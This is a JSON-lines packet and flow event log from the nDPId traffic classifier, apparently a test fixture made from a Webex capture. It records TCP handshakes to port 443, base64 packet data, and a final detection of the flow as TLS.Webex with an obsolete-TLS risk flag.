+00436{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":463,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":284770,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8nBhAAEAGTKkKCAABch3V1KMdAbtvG1\/vAAAAAKACOQiE1wAAAgQFtAQCCAoATMP3AAAAAAEDAwY="} +00410{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":464,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":298110,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAfRAABAGFuJyHdXUCggAAQG7ox2Q5KAQbxtf8FAS\/\/+4\/gAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":465,"source":"webex.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1444570640298,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.204.49","src_port":51676,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":465,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":298584,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8YQlAAEAGkVsKCAABch3MMcncAbvjbaL+AAAAAKACOQiwWQAAAgQFtAQCCAoATMP3AAAAAAEDAwY="} +00410{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":466,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":309751,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAfVAABAGIIRyHcwxCggAAQG7ydwckl0B422i\/1AS\/\/+b4gAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":467,"source":"webex.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1444570640310,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.98","src_port":37139,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":467,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":310108,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8S45AAEAGO38KCAABQERpYpETAbtLyIh5AAAAAKACOQgv9gAAAgQFtAQCCAoATMP3AAAAAAEDAwY="} +00409{"flow_id":29,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":468,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":319368,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAfZAABAGtStARGliCggAAQG7kRO0N3eGS8iIelAS\/\/9pVAAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":469,"source":"webex.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1444570640319,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41394,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":469,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":319795,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8c3VAAEAGE5MKCAABQERpZ6GyAbtpybCOAAAAAKACOQjZNwAAAgQFtAQCCAoATMP7AAAAAAEDAwY="} +00409{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":470,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":330160,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAfdAABAGtSVARGlnCggAAQG7obKWNk9xacmwj1AS\/\/9YsAAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":471,"source":"webex.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1444570640330,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.224.120","src_port":51134,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":471,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":330424,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8tGhAAEAGXWUKCAABPm3geMe+AbssX3BwAAAAAKACOQi7XAAAAgQFtAQCCAoATMQYAAAAAAEDAwY="} +00409{"flow_id":31,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":472,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":338147,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAfhAABAGP+o+beB4CggAAQG7x77ToI+PLF9wcVAS\/\/+9aQAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":473,"source":"webex.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1444570640338,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.224.120","src_port":51135,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":473,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":338595,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA82ZNAAEAGODoKCAABPm3geMe\/Abvolh2LAAAAAKACOQhSCQAAAgQFtAQCCAoATMQYAAAAAAEDAwY="} +00409{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":474,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":344333,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAflAABAGP+k+beB4CggAAQG7x78XaeJ06JYdjFAS\/\/+9aAAA"} +00409{"flow_id":16,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":475,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":344574,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAG9B4KCAABch3Ki7gMAbtSShQeAAAAAFAEAABI\/wAA"} +00409{"flow_id":16,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":476,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":344797,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAG9B4KCAABch3Ki7gMAbtSShQeAAAAAFAEAABI\/wAA"} +00408{"flow_id":18,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":477,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":344999,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAGdx8KCAABQER5ZMv7AbtwVXqrAAAAAFAEAAAzeAAA"} +00408{"flow_id":18,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":478,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":345199,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAGdx8KCAABQER5ZMv7AbtwVXqrAAAAAFAEAAAzeAAA"} +00408{"flow_id":19,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":479,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":345397,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAGdyAKCAABQER5Y9qhAbtb96ShAAAAAFAEAAAPOwAA"} +00408{"flow_id":19,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":480,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":345761,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAGdyAKCAABQER5Y9qhAbtb96ShAAAAAFAEAAAPOwAA"} +00408{"flow_id":20,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":481,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":345959,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAG9p4KCAABch3IC7rhAbtuYS1kAAAAAFAEAAATTQAA"} +00408{"flow_id":20,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":482,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":346151,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAG9p4KCAABch3IC7rhAbtuYS1kAAAAAFAEAAATTQAA"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":484,"source":"webex.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1444570640346,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":1,"l3_proto":"ip4","src_ip":"10.133.206.47","dst_ip":"80.74.110.68","src_port":33459,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":484,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":346801,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"ABoRAAACABoRAAABCABFAABLP\/ZAAEAGY3QKhc4vUEpuRIKzAbsvtI0Fj3ahWYAYAWE\/AgAAAQEICgBMxFRXHeViFQMBABJ8gv9dmaTjHFUtA85jnlaY0C8="} +00424{"flow_id":33,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":485,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":347186,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABoRAAACABoRAAABCABFAAA0P\/dAAEAGY4oKhc4vUEpuRIKzAbsvtI0cj3ahWYARAWFq6AAAAQEICgBMxFRXHeVi"} +00409{"flow_id":33,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":486,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":347516,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAfpAABAG0ZNQSm5ECoXOLwG7grOPdqFZL7SNHVAQ\/\/+mgQAA"} +00409{"flow_id":33,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":487,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":348304,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAftAABAG0ZJQSm5ECoXOLwG7grOPdqFZL7SNHVAR\/\/+mgAAA"} +00435{"flow_id":26,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":488,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":348530,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8fMFAAEAGd0kKCAABch3Ki7gfAbudV783AAAAAKACOQjtNQAAAgQFtAQCCAoATMRbAAAAAAEDAwY="} +00410{"flow_id":26,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":489,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":355809,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAfxAABAGIiNyHcqLCggAAQG7uB9iqEDInVe\/OFAS\/\/+vRQAA"} +00436{"flow_id":27,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":490,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":356070,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8nBlAAEAGTKgKCAABch3V1KMdAbtvG1\/vAAAAAKACOQiEcwAAAgQFtAQCCAoATMRbAAAAAAEDAwY="} +00410{"flow_id":27,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":491,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":365211,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAf1AABAGFtlyHdXUCggAAQG7ox2Q5KAQbxtf8FAS\/\/+4\/gAA"} +00435{"flow_id":28,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":492,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":365568,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8YQpAAEAGkVoKCAABch3MMcncAbvjbaL+AAAAAKACOQiv9QAAAgQFtAQCCAoATMRbAAAAAAEDAwY="} +00410{"flow_id":28,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":493,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":372948,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAf5AABAGIHtyHcwxCggAAQG7ydwckl0B422i\/1AS\/\/+b4gAA"} +00435{"flow_id":29,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":494,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":373238,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8S49AAEAGO34KCAABQERpYpETAbtLyIh5AAAAAKACOQgvkgAAAgQFtAQCCAoATMRbAAAAAAEDAwY="} +00409{"flow_id":29,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":495,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":381985,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAf9AABAGtSJARGliCggAAQG7kRO0N3eGS8iIelAS\/\/9pVAAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":496,"source":"webex.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1444570640382,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"80.74.110.68","src_port":33511,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":496,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":382255,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8O9hAAEAGNk0KCAABUEpuRILnAbv7u\/+DAAAAAKACOQgB2AAAAgQFtAQCCAoATMRbAAAAAAEDAwY="} +00410{"flow_id":34,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":497,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":385652,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAgBAABAGoDlQSm5ECggAAQG7gucERAB8+7v\/hFAS\/\/9imAAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":498,"source":"webex.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1444570640385,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"80.74.110.68","src_port":33512,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":498,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":385961,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8smJAAEAGv8IKCAABUEpuRILoAbtZhnY\/AAAAAKACOQgtTwAAAgQFtAQCCAoATMRdAAAAAAEDAwY="} +00409{"flow_id":35,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":499,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":389057,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAgFAABAGoDhQSm5ECggAAQG7guimeYnAWYZ2QFAS\/\/9ilwAA"} +00435{"flow_id":30,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":500,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":389377,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8c3ZAAEAGE5IKCAABQERpZ6GyAbtpybCOAAAAAKACOQjY0wAAAgQFtAQCCAoATMRfAAAAAAEDAwY="} +00409{"flow_id":30,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":501,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":395199,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAgJAABAGtRpARGlnCggAAQG7obKWNk9xacmwj1AS\/\/9YsAAA"} +00435{"flow_id":31,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":502,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":395391,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8tGlAAEAGXWQKCAABPm3geMe+AbssX3BwAAAAAKACOQi6+AAAAgQFtAQCCAoATMR8AAAAAAEDAwY="} +00409{"flow_id":31,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":503,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":399302,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAgNAABAGP98+beB4CggAAQG7x77ToI+PLF9wcVAS\/\/+9aQAA"} +00436{"flow_id":32,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":504,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":399473,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA82ZRAAEAGODkKCAABPm3geMe\/Abvolh2LAAAAAKACOQhRpAAAAgQFtAQCCAoATMR9AAAAAAEDAwY="} +00409{"flow_id":32,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":505,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":403608,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAgRAABAGP94+beB4CggAAQG7x78XaeJ06JYdjFAS\/\/+9aAAA"} +00407{"flow_id":26,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":508,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":404023,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAofMJAAEAGd1wKCAABch3Ki7gfAbudV784YqhAyVAQOQh2PgAA"} +00493{"flow_id":26,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":509,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":404146,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABnfMNAAEAGdxwKCAABch3Ki7gfAbudV784YqhAyVAYOQizYAAAFgMBADoBAAA2AwHL0KbklNiTQBXXAOTSW3u+JaExiKsBBup5X7QAW6mJdAAABAA1AP8BAAAJACMAAAAPAAEB"} +00732{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":509,"source":"webex.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":6,"flow_first_seen":1444570640269,"flow_last_seen":1444570640404,"flow_tot_l4_data_len":223,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.202.139","src_port":47135,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} 